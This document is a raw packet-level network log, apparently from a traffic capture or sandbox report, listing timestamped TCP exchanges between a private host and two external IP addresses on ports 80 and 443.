Dec 20, 2024 21:13:37.381764889 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.382796049 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.382903099 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.382956028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.384012938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.384068012 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.384093046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.384144068 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.385226965 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.385291100 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.385313988 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.385375977 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.386406898 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.386468887 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.386488914 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.386528015 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.387659073 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.387758970 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.387808084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.387852907 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.388972044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.389014959 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.389132023 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.389173031 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.390038013 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.390100002 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.390213966 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.390305042 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.391236067 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.391298056 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.391324997 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.391366005 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.392461061 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.392523050 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.392540932 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.392577887 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.393637896 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.393702030 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.393729925 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.393779039 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.394854069 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.394985914 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.395025969 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.396039963 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.396086931 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.396153927 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.396203995 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.397171021 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.397212982 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.446572065 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:37.446665049 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:37.446733952 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:37.461395979 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:37.461410999 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:37.526370049 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.526431084 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.526504993 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.526557922 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.526948929 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.527005911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.527129889 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.527190924 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.528086901 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.528136969 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.528187990 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.528230906 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.529356003 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.529402971 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.529520988 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.529561996 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.530534983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.530600071 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.530643940 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.531744957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.531830072 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.531857014 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.531871080 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.532902956 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.532948017 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.532975912 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.533011913 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.534137964 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.534251928 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.534271002 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.534338951 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.535391092 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.535428047 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.535455942 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.535474062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.536531925 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.536622047 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.536683083 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.537784100 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.537834883 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.537887096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.537934065 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.538914919 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.538960934 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.539016008 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.539057016 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.540116072 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.540173054 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.540252924 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.540385962 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.541311026 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.541364908 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.541416883 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.541565895 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.542778015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.542853117 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.542901039 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.543716908 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.543787956 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.543817997 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.543889999 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.544874907 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.544926882 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.544955969 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.545018911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.546108961 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.546155930 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.546184063 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.546240091 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.547343016 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.547415018 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.547502041 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.547566891 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.548463106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.548511982 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.548666954 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.549712896 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.549758911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.549798965 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.549874067 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.550852060 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.550904989 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.550956964 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.550998926 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.552093029 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.552143097 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.552318096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.552365065 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.553225994 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.553276062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.553375006 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.553998947 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.554640055 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.554657936 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.554693937 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.554722071 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.555856943 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.555905104 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.555919886 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.555967093 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.556823969 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.556878090 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.556906939 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.556953907 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.558021069 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.558069944 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.558146000 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.558218002 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.559345961 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.559365034 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.559395075 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.559407949 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.560580969 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.560632944 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.560698986 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.560745001 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.561685085 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.561734915 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.561757088 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.561805964 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.562859058 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.562921047 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.562968969 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.564126015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.564176083 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.564254045 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.564300060 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.565248013 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.565319061 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.565381050 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.565453053 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.566565990 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.566620111 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.566644907 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.566689014 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.567636967 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.567694902 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.567771912 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.567817926 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.568849087 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.568943977 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.568975925 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.569020987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.570137978 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.570185900 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.570219994 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.570264101 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.571244001 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.571290016 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.571379900 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.571424007 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.572474957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.572526932 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.572659016 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.572702885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.573673010 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.573719025 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.573801994 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.573904037 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.574857950 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.574902058 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.574981928 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.575026035 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.576015949 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.576064110 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.576087952 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.576133013 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.577208042 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.577267885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.577301979 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.577358007 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.578380108 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.578458071 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.578474045 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.578500986 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.579586983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.579653025 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.579771042 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.579821110 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.580780983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.580832958 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.580861092 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.580954075 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.581955910 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.582005978 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.582068920 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.582144022 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.583205938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.583261967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.583451033 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.583502054 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.584377050 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.584429979 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.584438086 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.584477901 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.585815907 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.585870981 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.585927010 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.586071968 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.586759090 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.586813927 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.586839914 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.586885929 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.587990999 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.588057041 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.588090897 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.588141918 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.589116096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.589181900 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.718359947 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.718477964 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.718540907 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.718797922 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.718856096 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.718935966 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.718978882 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.720129013 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.720175982 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.720240116 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.720287085 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.721312046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.721365929 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.721405029 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.721443892 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.722417116 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.722497940 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.722599983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.722646952 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.723627090 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.723747015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.723812103 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.724862099 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.724904060 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.725043058 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.725172043 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.726038933 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.726099968 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.726131916 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.726250887 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.727202892 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.727288961 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.727334023 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.728446007 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.728506088 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.728565931 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.729629993 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.729665995 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.729680061 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.729773998 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.729818106 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.730802059 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.730863094 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.730922937 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.732037067 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.732091904 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.732189894 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.732554913 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.733201027 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.733306885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.733321905 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.733406067 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.734410048 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.734460115 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.734549046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.734592915 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.735681057 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.735759974 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.735841036 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.735881090 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.736876011 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.736917973 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.737000942 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.737045050 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.738099098 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.738253117 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.738306046 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.739182949 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.739232063 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.739299059 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.739352942 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.740412951 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.740484953 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.740564108 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.740705967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.741641998 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.741693020 CET	49920	80	192.168.2.6	31.41.244.11
